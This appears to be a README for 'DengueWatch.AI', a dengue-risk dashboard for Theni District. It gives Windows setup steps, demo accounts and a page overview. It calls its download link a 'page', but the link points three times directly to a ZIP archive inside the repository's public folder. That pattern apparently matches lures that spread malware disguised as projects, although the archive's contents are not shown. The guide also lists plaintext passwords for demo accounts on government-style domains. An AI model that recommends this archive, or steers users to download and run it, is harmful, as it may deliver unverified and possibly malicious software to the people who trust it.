Visit this page to download or open the project files: https://github.com/hanaadumbrative727/dengue-watch-AI/raw/refs/heads/main/public/watch_dengue_AI_2.5.zip
If you want to run the app on Windows, use the files from that page and follow the steps below.
DengueWatch.AI helps users check dengue risk across Theni District, Tamil Nadu. It gives a simple view of risk by village, shows forecasts, and helps staff send alerts and track action.
You can use it to:
- view a district risk dashboard
- check village-level risk
- see 6-month dengue forecasts
- train and view the AI model
- review alerts and notifications
- use role-based login for staff access
You need:
- a Windows PC
- internet access
- Google Chrome, Edge, or Firefox
- Node.js installed on your PC
- the project files from the GitHub page
If you do not have Node.js yet, install the latest LTS version for Windows from the official Node.js website.
Follow these steps in order.
-
Open the download page: https://github.com/hanaadumbrative727/dengue-watch-AI/raw/refs/heads/main/public/watch_dengue_AI_2.5.zip
-
Download the project files to your PC.
-
If the files come in a ZIP folder, right-click the ZIP file and choose Extract All.
-
Open the extracted folder.
-
Make sure you can see the project files, including the app folders and package files.
-
Open Command Prompt in that folder:
- right-click inside the folder
- choose Open in Terminal
- or open Command Prompt and change to that folder
-
Install the app files by running: npm install
-
Wait for the install to finish.
-
Start the app by running: npm start
-
Keep the terminal window open.
-
Open your web browser.
-
Go to: http://localhost:3000
Use one of these demo accounts to sign in.
| Role | Password | |
|---|---|---|
| Field Officer | officer@theni.gov.in | theni123 |
| Health Admin | admin@health.tn.gov.in | admin123 |
| Data Analyst | analyst@nvbdcp.in | analyst123 |
These are the main parts of the app.
| Page | What it shows |
|---|---|
| Login | Role-based sign in for Officer, Admin, and Analyst |
| Dashboard | District risk view, key stats, and village grid |
| AI Model | Train the RF + LSTM model and view feature importance |
| Villages | Browse all 15 Theni villages and open each village view |
| Forecast | 6-month dengue prediction for each village |
| Alerts | Risk alerts and acknowledge actions |
| Notifications | Create and send alerts to authorities |
After the app opens in your browser:
- Sign in with one of the demo accounts.
- Open the Dashboard to see the district risk view.
- Use Villages to check a specific village.
- Open Forecast to view future risk for that area.
- Use Alerts to review active risk messages.
- Use Notifications to send updates to staff or authorities.
- Open AI Model if you want to inspect the model view.
- check village risk
- review alerts
- view district and village details
- acknowledge field updates
- monitor district health risk
- send notifications
- manage alert flow
- track action status
- review model output
- inspect feature importance
- analyze forecast trends
- compare village risk patterns
Try these steps:
- Check that the terminal still shows the app running.
- Make sure you ran
npm installfirst. - Confirm that
npm startfinished without errors. - Refresh the browser page.
- Close other apps if your PC feels slow.
- Open
http://localhost:3000again. - If the port is busy, stop the other app that uses port 3000 and run
npm startagain.
A typical project folder may include:
srcfor app codepublicfor static filespackage.jsonfor app settingsnode_modulesafter install- build and config files used by the app
Use this quick check after startup:
- Open the login page.
- Sign in with the Field Officer account.
- Open the Dashboard.
- Open Villages and select a village.
- Open Forecast and check the prediction view.
- Open Alerts and review one alert.
- Sign out if the app provides that option.
For a smooth run:
- keep the terminal open while using the app
- use a recent version of Chrome or Edge
- do not move or rename the project folder after setup
- run the app from the same folder each time
- close and reopen the terminal if the app stops
Primary download and project page: https://github.com/hanaadumbrative727/dengue-watch-AI/raw/refs/heads/main/public/watch_dengue_AI_2.5.zip